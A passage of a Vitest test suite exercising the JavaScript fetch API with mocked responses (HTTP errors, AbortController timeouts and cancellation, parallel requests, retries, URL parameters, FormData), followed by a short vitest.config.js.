${response.status}`) expect(error.message).toBe('HTTP 404') } }) it('should demonstrate fetchJSON wrapper pattern', async () => { // Reusable fetch wrapper async function fetchJSON(url, options = {}) { const response = await fetch(url, options) if (!response.ok) { const error = new Error(`HTTP ${response.status}`) error.status = response.status throw error } if (response.status === 204) { return null } return response.json() } // Test successful response global.fetch = vi.fn().mockResolvedValue( new Response(JSON.stringify({ id: 1 }), { status: 200 }) ) const data = await fetchJSON('/api/users/1') expect(data).toEqual({ id: 1 }) // Test 404 error global.fetch = vi.fn().mockResolvedValue( new Response('Not Found', { status: 404 }) ) try { await fetchJSON('/api/users/999') expect.fail('Should have thrown') } catch (error) { expect(error.message).toBe('HTTP 404') expect(error.status).toBe(404) } // Test 204 No Content global.fetch = vi.fn().mockResolvedValue( new Response(null, { status: 204 }) ) const noContent = await fetchJSON('/api/users/1', { method: 'DELETE' }) expect(noContent).toBeNull() }) it('should differentiate network vs HTTP errors', async () => { let errorType = null async function safeFetch(url) { try { const response = await fetch(url) if (!response.ok) { errorType = 'http' throw new Error(`HTTP ${response.status}`) } return await response.json() } catch (error) { if (error.message.startsWith('HTTP')) { // Already handled HTTP error throw error } // Network error errorType = 'network' throw new Error('Network error: ' + error.message) } } // Test HTTP error (404) global.fetch = vi.fn().mockResolvedValue( new Response('Not Found', { status: 404 }) ) try { await safeFetch('/api/missing') } catch (e) { expect(errorType).toBe('http') } // Test network error global.fetch = vi.fn().mockRejectedValue( new TypeError('Failed to fetch') ) try { await safeFetch('/api/unreachable') } catch (e) { expect(errorType).toBe('network') } }) }) // =========================================================================== // ABORT CONTROLLER // =========================================================================== describe('AbortController', () => { it('should create an AbortController', () => { const controller = new AbortController() expect(controller).toBeDefined() expect(controller.signal).toBeDefined() expect(controller.signal.aborted).toBe(false) }) it('should abort and update signal', () => { const controller = new AbortController() expect(controller.signal.aborted).toBe(false) controller.abort() expect(controller.signal.aborted).toBe(true) }) it('should abort with reason', () => { const controller = new AbortController() controller.abort('User cancelled') expect(controller.signal.aborted).toBe(true) expect(controller.signal.reason).toBe('User cancelled') }) it('should reject fetch when aborted', async () => { const controller = new AbortController() // Mock fetch to respect abort signal global.fetch = vi.fn().mockImplementation((url, options) => { return new Promise((resolve, reject) => { if (options?.signal?.aborted) { const error = new DOMException('The operation was aborted.', 'AbortError') reject(error) return } options?.signal?.addEventListener('abort', () => { const error = new DOMException('The operation was aborted.', 'AbortError') reject(error) }) // Simulate slow request setTimeout(() => { resolve(new Response('OK')) }, 1000) }) }) const fetchPromise = fetch('/api/slow', { signal: controller.signal }) // Abort immediately controller.abort() await expect(fetchPromise).rejects.toThrow() try { await fetchPromise } catch (error) { expect(error.name).toBe('AbortError') } }) it('should handle abort in try/catch', async () => { const controller = new AbortController() controller.abort() global.fetch = vi.fn().mockRejectedValue( new DOMException('The operation was aborted.', 'AbortError') ) try { await fetch('/api/data', { signal: controller.signal }) expect.fail('Should have thrown') } catch (error) { if (error.name === 'AbortError') { // Expected - request was cancelled expect(true).toBe(true) } else { throw error } } }) it('should implement timeout pattern', async () => { async function fetchWithTimeout(url, timeout = 5000) { const controller = new AbortController() const timeoutId = setTimeout(() => controller.abort(), timeout) try { const response = await fetch(url, { signal: controller.signal }) clearTimeout(timeoutId) return response } catch (error) { clearTimeout(timeoutId) if (error.name === 'AbortError') { throw new Error(`Request timed out after ${timeout}ms`) } throw error } } // Mock slow request that will be aborted global.fetch = vi.fn().mockImplementation((url, options) => { return new Promise((resolve, reject) => { const timeout = setTimeout(() => { resolve(new Response('OK')) }, 10000) // Very slow options?.signal?.addEventListener('abort', () => { clearTimeout(timeout) reject(new DOMException('The operation was aborted.', 'AbortError')) }) }) }) // Should timeout after 100ms await expect(fetchWithTimeout('/api/slow', 100)) .rejects.toThrow('Request timed out after 100ms') }) }) // =========================================================================== // PARALLEL REQUESTS // =========================================================================== describe('Parallel Requests with Promise.all', () => { it('should fetch multiple resources in parallel', async () => { global.fetch = vi.fn() .mockResolvedValueOnce(new Response(JSON.stringify({ id: 1, name: 'User' }))) .mockResolvedValueOnce(new Response(JSON.stringify([{ id: 1, title: 'Post' }]))) .mockResolvedValueOnce(new Response(JSON.stringify([{ id: 1, body: 'Comment' }]))) const [user, posts, comments] = await Promise.all([ fetch('/api/user').then(r => r.json()), fetch('/api/posts').then(r => r.json()), fetch('/api/comments').then(r => r.json()) ]) expect(user).toEqual({ id: 1, name: 'User' }) expect(posts).toEqual([{ id: 1, title: 'Post' }]) expect(comments).toEqual([{ id: 1, body: 'Comment' }]) expect(fetch).toHaveBeenCalledTimes(3) }) it('should fail fast if any request fails', async () => { global.fetch = vi.fn() .mockResolvedValueOnce(new Response(JSON.stringify({ id: 1 }))) .mockRejectedValueOnce(new Error('Network error')) .mockResolvedValueOnce(new Response(JSON.stringify({ id: 3 }))) await expect(Promise.all([ fetch('/api/1').then(r => r.json()), fetch('/api/2').then(r => r.json()), fetch('/api/3').then(r => r.json()) ])).rejects.toThrow('Network error') }) it('should use Promise.allSettled for graceful handling', async () => { global.fetch = vi.fn() .mockResolvedValueOnce(new Response(JSON.stringify({ id: 1 }))) .mockRejectedValueOnce(new Error('Failed')) .mockResolvedValueOnce(new Response(JSON.stringify({ id: 3 }))) const results = await Promise.allSettled([ fetch('/api/1').then(r => r.json()), fetch('/api/2').then(r => r.json()), fetch('/api/3').then(r => r.json()) ]) expect(results[0].status).toBe('fulfilled') expect(results[0].value).toEqual({ id: 1 }) expect(results[1].status).toBe('rejected') expect(results[1].reason.message).toBe('Failed') expect(results[2].status).toBe('fulfilled') expect(results[2].value).toEqual({ id: 3 }) }) }) // =========================================================================== // LOADING STATE PATTERN // =========================================================================== describe('Loading State Pattern', () => { it('should track loading, data, and error states', async () => { async function fetchWithState(url) { const state = { data: null, loading: true, error: null } try { const response = await fetch(url) if (!response.ok) { throw new Error(`HTTP ${response.status}`) } state.data = await response.json() } catch (error) { state.error = error.message } finally { state.loading = false } return state } // Test successful fetch global.fetch = vi.fn().mockResolvedValue( new Response(JSON.stringify({ name: 'Alice' }), { status: 200 }) ) const successState = await fetchWithState('/api/user') expect(successState.loading).toBe(false) expect(successState.data).toEqual({ name: 'Alice' }) expect(successState.error).toBeNull() // Test error fetch global.fetch = vi.fn().mockResolvedValue( new Response('Not Found', { status: 404 }) ) const errorState = await fetchWithState('/api/missing') expect(errorState.loading).toBe(false) expect(errorState.data).toBeNull() expect(errorState.error).toBe('HTTP 404') // Test network error global.fetch = vi.fn().mockRejectedValue(new Error('Network error')) const networkErrorState = await fetchWithState('/api/unreachable') expect(networkErrorState.loading).toBe(false) expect(networkErrorState.data).toBeNull() expect(networkErrorState.error).toBe('Network error') }) }) // =========================================================================== // JSON PARSING // =========================================================================== describe('JSON Parsing', () => { it('should parse valid JSON', async () => { const response = new Response('{"name": "Alice", "age": 30}') const data = await response.json() expect(data).toEqual({ name: 'Alice', age: 30 }) }) it('should parse JSON arrays', async () => { const response = new Response('[1, 2, 3, 4, 5]') const data = await response.json() expect(data).toEqual([1, 2, 3, 4, 5]) }) it('should parse nested JSON', async () => { const nested = { user: { name: 'Alice', address: { city: 'Wonderland' } }, posts: [ { id: 1, title: 'First' }, { id: 2, title: 'Second' } ] } const response = new Response(JSON.stringify(nested)) const data = await response.json() expect(data.user.address.city).toBe('Wonderland') expect(data.posts[1].title).toBe('Second') }) it('should throw on invalid JSON', async () => { const response = new Response('not valid json {') await expect(response.json()).rejects.toThrow() }) it('should throw on empty body when expecting JSON', async () => { const response = new Response('') await expect(response.json()).rejects.toThrow() }) }) // =========================================================================== // HTTP METHODS // =========================================================================== describe('HTTP Methods', () => { beforeEach(() => { global.fetch = vi.fn().mockResolvedValue( new Response(JSON.stringify({ success: true }), { status: 200 }) ) }) it('should default to GET method', async () => { await fetch('/api/users') expect(fetch).toHaveBeenCalledWith('/api/users') }) it('should make POST request', async () => { await fetch('/api/users', { method: 'POST', body: JSON.stringify({ name: 'Alice' }) }) expect(fetch).toHaveBeenCalledWith('/api/users', expect.objectContaining({ method: 'POST' })) }) it('should make PUT request', async () => { await fetch('/api/users/1', { method: 'PUT', body: JSON.stringify({ name: 'Alice Updated' }) }) expect(fetch).toHaveBeenCalledWith('/api/users/1', expect.objectContaining({ method: 'PUT' })) }) it('should make PATCH request', async () => { await fetch('/api/users/1', { method: 'PATCH', body: JSON.stringify({ name: 'New Name' }) }) expect(fetch).toHaveBeenCalledWith('/api/users/1', expect.objectContaining({ method: 'PATCH' })) }) it('should make DELETE request', async () => { await fetch('/api/users/1', { method: 'DELETE' }) expect(fetch).toHaveBeenCalledWith('/api/users/1', expect.objectContaining({ method: 'DELETE' })) }) }) // =========================================================================== // URL AND QUERY PARAMETERS // =========================================================================== describe('URL and Query Parameters', () => { it('should construct URL with search params', () => { const url = new URL('https://api.example.com/search') url.searchParams.set('q', 'javascript') url.searchParams.set('page', '1') url.searchParams.set('limit', '10') expect(url.toString()).toBe('https://api.example.com/search?q=javascript&page=1&limit=10') }) it('should append multiple values for same param', () => { const url = new URL('https://api.example.com/filter') url.searchParams.append('tag', 'javascript') url.searchParams.append('tag', 'nodejs') expect(url.toString()).toBe('https://api.example.com/filter?tag=javascript&tag=nodejs') }) it('should get search params', () => { const url = new URL('https://api.example.com/search?q=javascript&page=2') expect(url.searchParams.get('q')).toBe('javascript') expect(url.searchParams.get('page')).toBe('2') expect(url.searchParams.get('missing')).toBeNull() }) it('should delete search params', () => { const url = new URL('https://api.example.com/search?q=javascript&page=2') url.searchParams.delete('page') expect(url.toString()).toBe('https://api.example.com/search?q=javascript') }) it('should check if param exists', () => { const url = new URL('https://api.example.com/search?q=javascript') expect(url.searchParams.has('q')).toBe(true) expect(url.searchParams.has('page')).toBe(false) }) it('should use URLSearchParams with fetch', async () => { global.fetch = vi.fn().mockResolvedValue( new Response(JSON.stringify([]), { status: 200 }) ) const params = new URLSearchParams({ q: 'javascript', page: '1' }) await fetch(`/api/search?${params}`) expect(fetch).toHaveBeenCalledWith('/api/search?q=javascript&page=1') }) }) // =========================================================================== // REAL WORLD PATTERNS // =========================================================================== describe('Real World Patterns', () => { it('should implement retry logic', async () => { let attempts = 0 async function fetchWithRetry(url, options = {}, retries = 3) { for (let i = 0; i < retries; i++) { try { attempts++ const response = await fetch(url, options) if (response.ok) return response if (response.status >= 500 && i < retries - 1) continue throw new Error(`HTTP ${response.status}`) } catch (error) { if (i === retries - 1) throw error } } } // Mock: fail twice, succeed on third global.fetch = vi.fn() .mockResolvedValueOnce(new Response('Error', { status: 500 })) .mockResolvedValueOnce(new Response('Error', { status: 500 })) .mockResolvedValueOnce(new Response('OK', { status: 200 })) const response = await fetchWithRetry('/api/flaky') expect(response.status).toBe(200) expect(attempts).toBe(3) }) it('should implement search with cancel previous', async () => { let currentController = null async function searchWithCancel(query) { // Cancel previous request if (currentController) { currentController.abort() } currentController = new AbortController() const response = await fetch(`/api/search?q=${query}`, { signal: currentController.signal }) return response.json() } // Mock fetch that respects abort global.fetch = vi.fn().mockImplementation((url, options) => { return new Promise((resolve, reject) => { if (options?.signal?.aborted) { reject(new DOMException('Aborted', 'AbortError')) return } const handler = () => { reject(new DOMException('Aborted', 'AbortError')) } options?.signal?.addEventListener('abort', handler) // Resolve after short delay setTimeout(() => { options?.signal?.removeEventListener('abort', handler) resolve(new Response(JSON.stringify({ results: [url] }))) }, 50) }) }) // Start first search const search1 = searchWithCancel('java') // Start second search (should cancel first) const search2 = searchWithCancel('javascript') // First should be aborted await expect(search1).rejects.toThrow() // Second should succeed const result = await search2 expect(result.results[0]).toContain('javascript') }) }) // =========================================================================== // FORMDATA // =========================================================================== describe('FormData', () => { it('should create FormData object', () => { const formData = new FormData() formData.append('username', 'alice') formData.append('email', 'alice@example.com') expect(formData.get('username')).toBe('alice') expect(formData.get('email')).toBe('alice@example.com') }) it('should append multiple values for same key', () => { const formData = new FormData() formData.append('tags', 'javascript') formData.append('tags', 'nodejs') const tags = formData.getAll('tags') expect(tags).toEqual(['javascript', 'nodejs']) }) it('should set value (overwrite)', () => { const formData = new FormData() formData.append('name', 'alice') formData.set('name', 'bob') expect(formData.get('name')).toBe('bob') }) it('should check if key exists', () => { const formData = new FormData() formData.append('username', 'alice') expect(formData.has('username')).toBe(true) expect(formData.has('password')).toBe(false) }) it('should delete key', () => { const formData = new FormData() formData.append('username', 'alice') formData.append('email', 'alice@example.com') formData.delete('email') expect(formData.has('email')).toBe(false) expect(formData.has('username')).toBe(true) }) it('should iterate over entries', () => { const formData = new FormData() formData.append('name', 'alice') formData.append('age', '30') const entries = [] for (const [key, value] of formData) { entries.push([key, value]) } expect(entries).toContainEqual(['name', 'alice']) expect(entries).toContainEqual(['age', '30']) }) it('should send FormData with fetch (no Content-Type header needed)', async () => { global.fetch = vi.fn().mockResolvedValue( new Response(JSON.stringify({ success: true }), { status: 200 }) ) const formData = new FormData() formData.append('username', 'alice') formData.append('avatar', new Blob(['fake image data'], { type: 'image/png' }), 'avatar.png') await fetch('/api/profile', { method: 'POST', body: formData // Note: Don't set Content-Type header - browser sets it automatically with boundary }) expect(fetch).toHaveBeenCalledWith('/api/profile', expect.objectContaining({ method: 'POST', body: expect.any(FormData) })) }) it('should parse FormData from response', async () => { // Create a FormData-like body const formData = new FormData() formData.append('field1', 'value1') formData.append('field2', 'value2') // Note: In real browsers, response.formData() parses multipart responses // For testing, we verify the FormData API works correctly expect(formData.get('field1')).toBe('value1') expect(formData.get('field2')).toBe('value2') }) it('should append File objects', () => { const formData = new FormData() const file = new File(['hello world'], 'test.txt', { type: 'text/plain' }) formData.append('document', file) const retrieved = formData.get('document') expect(retrieved).toBeInstanceOf(File) expect(retrieved.name).toBe('test.txt') expect(retrieved.type).toBe('text/plain') }) it('should append Blob objects with filename', () => { const formData = new FormData() const blob = new Blob(['image data'], { type: 'image/jpeg' }) formData.append('image', blob, 'photo.jpg') const retrieved = formData.get('image') expect(retrieved).toBeInstanceOf(File) // Blob with filename becomes File expect(retrieved.name).toBe('photo.jpg') }) }) }) ================================================ FILE: vitest.config.js ================================================ import { defineConfig } from 'vitest/config' export default defineConfig({ test: { include: ['tests/**/*.test.js'], globals: false, environment: 'node' } })